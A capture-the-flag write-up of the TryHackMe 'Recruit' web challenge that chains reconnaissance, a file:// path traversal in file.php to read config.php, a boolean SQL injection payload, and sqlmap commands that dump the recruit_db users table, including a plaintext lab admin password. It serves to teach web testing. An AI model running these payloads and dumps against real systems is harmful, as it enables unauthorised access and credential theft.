Back to writeups

Recruit Web Challenge — TryHackMe

web reconnaissance path traversal sql injection sqlmap credential disclosure

TL;DR

The Recruit web application exposed several weaknesses that could be chained together. Reconnaissance revealed an accessible mail log, a documented file retrieval endpoint and an exposed phpMyAdmin installation. The mail log disclosed that the HR credentials were stored in config.php.

A path traversal vulnerability in the cv parameter of file.php allowed the configuration file to be read, revealing the HR password and providing access to the first flag. After authenticating as HR, the search parameter in the dashboard was found to be vulnerable to SQL injection. SQLMap was then used to extract the administrator credentials from the recruit_db database, allowing access to the second flag.

Challenge Overview

The target was the Recruit Web Challenge on TryHackMe.

The main application presented a login page for a recruitment management platform.

Main Recruit application login interface

An additional interface was available through api.php.

Recruit application API interface

Network Reconnaissance

I first performed a full TCP port scan to identify the services exposed by the target.

nmap -p- -T4 10.64.164.197
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-21 12:58 UTC


Nmap scan report for ip-10-64-164-197.ec2.internal (10.64.164.197)
Host is up (0.00025s latency).
Not shown: 65532 closed tcp ports (reset)

PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds

A second scan was performed using default scripts, service version detection and operating system detection.

sudo nmap -sS -sV -sC -O -p 22,53,80 10.64.164.197
PORT   STATE SERVICE VERSION


22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7
53/tcp open  domain  ISC BIND 9.16.1
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set

|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Recruit

Service Info: OS: Linux

The scan identified three open ports:

  • 22/tcp — OpenSSH 8.2p1.
  • 53/tcp — ISC BIND DNS server.
  • 80/tcp — Apache HTTP Server 2.4.41.

The application also created a PHPSESSID cookie without the HttpOnly attribute.

Parameter Discovery

I used Arjun to search for hidden HTTP parameters on the application.

arjun -u http://target -t 10
Arjun hidden parameter discovery scan

This scan did not immediately reveal any useful hidden parameters.

Directory and File Discovery

I then used Feroxbuster to enumerate directories and files on the web server.

feroxbuster \


-u http://target 
-w ~/SecLists/Discovery/Web-Content/raft-medium-directories.txt 
-t 20

The scan identified several useful resources:

200  /                     # Homepage


200  /api.php              # API endpoint
200  /mail/mail.log        # Mail log

301  /assets/              # Directory
301  /mail/                # Directory listing
301  /javascript/          # JavaScript files
301  /phpmyadmin/          # phpMyAdmin exposed

Directory listing was enabled on multiple paths, including:

  • /assets/
  • /mail/
  • /assets/bootstrap-icons/
  • /assets/bootstrap-icons/css/
  • /assets/bootstrap-icons/fonts/

The most interesting discoveries were the mail log, the exposed API endpoint and the publicly accessible phpMyAdmin installation.

Information Disclosure Through the Mail Log

After discovering /mail/mail.log, I inspected its contents.

Exposed mail log containing application information

The log disclosed important internal information about the authentication system:

  • The HR username was hr.
  • The HR credentials were stored in the application configuration file, config.php.
  • The administrator credentials were not stored in the application files.
  • The administrator credentials were stored in the backend database.

This information provided a clear path for obtaining access to both accounts.

API Documentation Analysis

The API documentation referenced a file.php endpoint that accepted a cv parameter.

API documentation describing the file.php endpoint

Since the endpoint appeared to retrieve files based on user-controlled input, I tested whether it accepted absolute local file paths.

Path Traversal and Configuration File Disclosure

The cv parameter was vulnerable to path traversal and arbitrary local file disclosure. I used the file:// URI scheme to request the application configuration file directly.

curl "http://target/file.php?cv=file:///var/www/html/config.php"
Path traversal request used to retrieve config.php

The server returned the contents of /var/www/html/config.php, exposing the password associated with the hr user.

This vulnerability existed because the application passed user-controlled input to a file retrieval operation without restricting the file path or enforcing an allowlist.

HR Account Access and First Flag

With the username identified in the mail log and the password extracted from config.php, I authenticated through the main login form as the HR user.

First flag obtained after logging in as the HR user

Successful authentication provided access to the HR dashboard and revealed the first challenge flag.

Exposed phpMyAdmin Interface

During directory enumeration, a phpMyAdmin installation was discovered at /phpmyadmin/.

Exposed phpMyAdmin login interface

I initially tested the phpMyAdmin authentication form with SQL injection payloads.

SQL injection tests against the phpMyAdmin login page

These tests did not provide a direct authentication bypass. I therefore continued analysing the HR dashboard for other injection points.

SQL Injection Discovery

The HR dashboard contained a search feature that submitted a user-controlled search parameter to the server.

Supplying a single quote caused the application to return a database error, indicating that the value was being inserted into an SQL query without safe parameterisation.

SQL syntax error triggered through the dashboard search parameter

I tested the parameter with the following Boolean-based payload:

test' OR '1'='1
Additional SQL injection tests against the search parameter

The payload changed the response and removed the previous SQL error, confirming that the search parameter was vulnerable to SQL injection.

Database Enumeration with SQLMap

After confirming the vulnerability manually, I saved the HTTP request to sql.txt and used SQLMap to enumerate the backend database.

sqlmap -r sql.txt -p search --dbs

An equivalent command using a URL directly would be:

sqlmap -u "http://target/?search=test" -p search --dbs --batch

SQLMap identified the backend as MySQL and returned six databases:

[INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL

available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] recruit_db
[*] sys

The application-specific database was recruit_db.

Enumerating the Users Table

I inspected the columns of the users table inside recruit_db.

sqlmap -r sql.txt -p search -D recruit_db -T users --columns
Database: recruit_db

Table: users

+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int          |
| password | varchar(100) |
| username | varchar(50)  |
+----------+--------------+

I then dumped the contents of the database.

sqlmap -r sql.txt -D recruit_db --dump-all

The candidates table contained recruitment records:

Database: recruit_db

Table: candidates

+----+---------------+--------------+--------------------+
| id | name          | status       | position           |
+----+---------------+--------------+--------------------+
| 1  | Alice Johnson | Approved     | Frontend Developer |
| 2  | Bob Smith     | Under Review | Backend Developer  |
| 3  | Charlie Brown | Rejected     | Security Analyst   |
| 4  | Diana Prince  | Selected     | HR Executive       |
+----+---------------+--------------+--------------------+

More importantly, the users table contained the administrator credentials:

Database: recruit_db

Table: users

+----+----------------+----------+
| id | password       | username |
+----+----------------+----------+
| 1  | admin@001admin | admin    |
+----+----------------+----------+

The application stored the administrator password in plaintext, allowing it to be used immediately after extraction.

Administrator Access and Final Flag

I returned to the application login page and authenticated with the administrator credentials extracted from the database.

Final flag obtained after authenticating as the administrator

Successful administrator authentication revealed the second and final challenge flag.

Attack Chain

  1. Enumerated the target and identified SSH, DNS and HTTP services.
  2. Discovered api.php, mail/mail.log and /phpmyadmin/.
  3. Read the exposed mail log and identified the HR username and credential storage location.
  4. Abused the cv parameter in file.php to retrieve config.php.
  5. Extracted the HR password and authenticated to obtain the first flag.
  6. Identified SQL injection in the authenticated dashboard search feature.
  7. Used SQLMap to enumerate recruit_db and dump the administrator credentials.
  8. Authenticated as the administrator and obtained the final flag.

© Tiago Galvão — Junior Pentester • Built with HTML/CSS/JS • Hosted on Cloudflare Pages